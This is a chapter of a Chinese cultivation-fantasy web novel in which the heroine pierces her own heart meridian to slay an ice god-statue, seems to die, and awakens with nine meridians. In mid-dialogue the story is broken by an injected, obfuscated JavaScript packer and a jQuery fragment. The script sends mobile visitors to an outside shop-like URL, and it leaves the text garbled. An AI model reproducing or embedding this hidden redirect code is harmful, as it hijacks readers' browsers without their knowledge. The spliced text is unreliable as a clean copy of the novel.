34. 生死场(终)
作品:《她如此普通》 利剑擦过朴桐右肩,带着碎布朝神像大火而去。
“抱歉朴道友,我只是想帮你。”
朴桐回头凝了南宫玉一眼:“多谢。”
她神情收敛,剑上散发着冷意向大火刺去,大火力重势猛,每每交锋朴桐都觉玄剑将要脱手,便握得越来越紧。
手中浸出的冷汗顺着剑鞘滑落,被火枪烤干,她再一次被击倒在地。
疼痛模糊了双眼,感到火势靠近,直觉让她瞬间翻滚避开冲她心脏而来的火枪。
直至滚到一个死角,她咬牙抬起手用玄剑抵住胸前的火枪。
打到现在,朴桐身上的灵力所剩无几,支撑不了她结出防御阵,只能拿剑格挡。
但她力气也没剩多少。
不知还能撑多久。
“除恶第四式·千变万化。”
一根黑棍破空而来击飞火枪,远处的观月舒一脚将神像往死里踩,丢棍到阿九怀中,留下一句“交给你了”便往朴桐身边赶。
她担忧的神情和一只手出现在朴桐视线中,让朴桐的世界恢复清明。
“没事。”朴桐握住观月舒的手起身。
两人一左一右执剑扬棍,夹击神像大火。
朴桐玄剑点刺大火胸膛,观月舒黑棍直捣大火下盘,大火踉跄回防终是敌不过两人配合,倒地不起。
她们走去拉起地上喘息的阿九,一同回去千机伞内休息。
朴桐环顾众人,所有人身上或多或少都有伤口,他们已是强弩之末,千机伞的屏障也隐隐将要碎开,再这样打下去怕是真要折在这。
其他人也同她一样在想,但落地的神像并不给他们时间思考那句话的含义。
“生亦是死,死亦是生。”
怪叫回荡在众人耳中,他们艰难站起身,紧紧抓住法器往屏障外走。
“趁其他的没落地,我们合力把这几个解决了。”闻云鹤冷脸道,同时给众人下一剂安心药,“放心,有我在的秘境还没有人死过。”
他站得最前,捻着剑,想着大不了真要死一个就死他吧。
谁叫他是大师兄呢。
穆良朝同慕容瑾站到他身边,一口一个知道了知道了,大师兄最强。
闻云鹤咧起笑容,唤玉剑:“开打。”
他们跃身飞去,用三把剑将神像析木和大火围住,剑声铮鸣,颇有种愈战愈勇的架势。
“小古,灵灵。”
古震和卓灵灵跟在方元君身后走至鹑首面前。
方元君表情相比以往更为严肃,这轮神像已达七境上,他们不像万剑宗都是剑修,三打一是护住师弟师妹最稳妥的办法。
虞良带着梁行之选择鹑火,剩下寿星留给朴桐观月舒阿九。
阿九将极火蛊分出去:“他境界太高,极火蛊最多只能挡三十息寒气。”
朴桐与观月舒对视一眼,争取三十息内拿下。
“三才·万相,阵法·坚如磐石。”
“除恶第三式·一百零八道。”
朴桐结阵锁住寿星的行动范围,观月舒纵跃到空中用除恶棍召出万千滚火黑石。
寿星挥起冰杖,寒气从地面冒起将坚如磐石阵冰冻,化成厚重冰墙挡住黑石攻击。
“失算了。”
朴桐本想在观月舒落下黑石时将阵法解开让他无路可逃,但被冰化后的阵法不再受她控制。
只能用剑了。
玄剑亮起,朴桐疾冲到寿星跟前,剑刃刺到他胸前时被寒冰覆盖住,极火蛊尚能撑住,她继续挺身刺向寿星,但玄剑渐渐不受她控制,被冰杖轻易撇开。
这凌厉的寒气逼得她只能后退。
观月舒见势不妙,将除恶棍一分为二,扔一棍给阿九。
“你吸引他注意力。”
“明白。”
两人共同上前,除恶棍属火不易冻结,但贴近寿星受到的寒气实在刺骨,让他们挥棍的手停不住打颤。
后方的朴桐连续掏出十几张火符才烤化玄剑上的寒冰,她边跑边用衣袍随意擦掉剑上的水渍,正欲投身战斗时双脚动弹不得,地上不知何时冒出的冰锁囚住她。
她着急得用玄剑狂砍冰锁。
余光瞟到观月舒和阿九让她瞳孔猛缩。
阿九倒在一旁,双脚同她一样被冻住。
观月舒单膝撑着,除恶棍颤抖着挡住冰杖,冰杖寒气霸道,好似下一秒就要将观月舒整个人冻成冰雕。
朴桐右手抬起,玄剑抵在她心口。
她十六岁时,师娘教她剑法时说:“这日月华剑的第九式,也就是最强的一式,其精髓便是要用剑穿进自己的灵脉,但桐桐你啊灵脉在心,一定不能这样用,记住了吗?”
她记住了。
噗的一声。
鲜血染红衣,朴桐感到生命在逝去,也感到一股前所未有的强大力量。
她挣破冰锁,踉踉跄跄往寿星走去,眼前闪过师傅师娘的好多身影,她还没有完成师傅的遗愿,她也没有完成自己的志向,她还想再见师娘一面,她并不想死,但她顾不上那么多了……
朴桐站稳脚跟,眼底迸出说不上来的坚毅,她举剑扬声道:
“心如日月。”
“拟同生死。”
滴着鲜血的玄剑爆出冲天剑鸣,万千耀华凝在剑上往神像寿星胸膛刺去,再凛冽的寒冰都挡不住少女的剑,神像被畅通无阻地洞穿心脏,同少女一起倒在地上。
众人身躯一震。
“桐桐!”
“朴桐!”
“朴道友!”
与数道人声一齐响起的,是一扇石门打开的沉闷声。
“先把她背出去!”
观月舒马上将朴桐背起来,朝石门跑去,但落下的一座座神像拦住她的去路。
闻云鹤瞬身过来为她斩出一条生路,“你快走!带她出去!”
观月舒看着与神像扭打在一起的闻云鹤,快声说了句小心后便大步跑走。
另一边的阿九拉着南宫玉往出口跑,在路上将她推给穆良朝,大声喊:“快!你们先走!我来解决这些神像!”
他划破双手掌心,以识真灵蛊作阵引,血红蛊阵铺天盖地而来,滔天杀意似要将全部人吞没。
众人不再迟疑,快速往出口跑去。
穆良朝听见身后远远传来一句请求:“一定要救活她!”
他拽紧南宫玉的衣袍,正声道:“南宫玉,我穆良朝欠你一个人情,拜托你了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17062008|192389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
逃跑中看不清南宫玉神色。
“我自会尽我所能。”
石门闭上,世界寂静下来,阿九在懊悔为什么自己不早用七杀蛊阵。
七杀蛊阵为数不多的缺点之一就是会损耗使用者的寿命,他想活得长久点,想着能不用就不用。
可要是他不那么惜命,早点用了朴桐就不会有生命危险。
要是她能活着,那他少活几年十几年又何妨。
带着悔意,阿九将七杀蛊阵的威力发挥至最大,他不屑嘲讽这群神像:“小爷我还是有点真本事的,都给我去死吧你们。”
血红蛊阵不断扩张,冒出源源不尽的蛊虫将神像吞没。
第一次使出如此威力的七杀蛊阵,阿九被反噬昏过去,失了清醒。
再睁眼时,倒映在他眸中的是皑皑白雪,哪还有什么殿堂神像。
他回到了勿山。
阿九起身环顾四周,找到几个熟悉的面孔。
“裴兄!”
“阿九!”
裴瑾其和阿九来了个大抱,神态颇为高兴。
阿九看向坐在地上的几人:“你们这是在?”
裴瑾若答:“当然是等忘忧剑主啊,来都来了,自然要一睹这忘忧剑主的风采。”
杜半夏频频点头:“没错没错,不只我们,十大州都来人了,灵网上也在讨论呢。”
这话提醒阿九,他翻出灵碟发了条平安的传文给他娘,随后也同他们一起席地而坐。但他不想等什么剑主,他只想等那两人平安出来。
而秘境内备受众人期待的南宫玉帮朴桐止住血,直直摇头:“她已无力回天。”
不用她说,其他人也明白,他们身为修士,怎么会感受不到朴桐身上的灵力在一点点流失,所剩无几。
抱住朴桐的观月舒眼底红成血色,她不想相信,也不敢相信。
她想就这么一直抱住她,当做她们从未分开。
但试炼还在继续,一道道金光落到九人身上,将他们带到苍生梯。
留朴桐只身一人躺在原地。
她身上的灵力还在流失,随着时间一起不曾停止。
当最后一滴灵力从她身上离去时,她整副身躯就同一条干涸的河流,一旦有外界的水源涌入其中,便会被河流毫不留情地吞咽。
但若是有医修在场,定会当场怪异叫起,因为朴桐仍未死去,她的心脉还在跳动,甚至开始微弱地吸收周围的灵力。
一道金光降下,辅助她汲取这方天地的全部灵力,朴桐的身体快速复苏。
灵力涌进她的心脉,再从心脉流向她全身,唤醒她藏在深处的八条灵脉。被灵力灌满后的八条灵脉再同心脉搭桥,形成以心脉为中心的九条灵脉。
她破境了。
朴桐苏醒时,抬眼便是渺渺白雾笼起的三千高阶。
此等美景她完全没心思欣赏,一心打坐探索她身体发生的变化。
这一探索便让她惊讶得嘴巴合不上。
她竟有九条灵脉!
原来心修是有九条灵脉的吗!
朴桐想到唤醒另八条灵脉的方式,忍不住苦笑。
哪个心修会好端端地往自己心脉捅一剑啊。

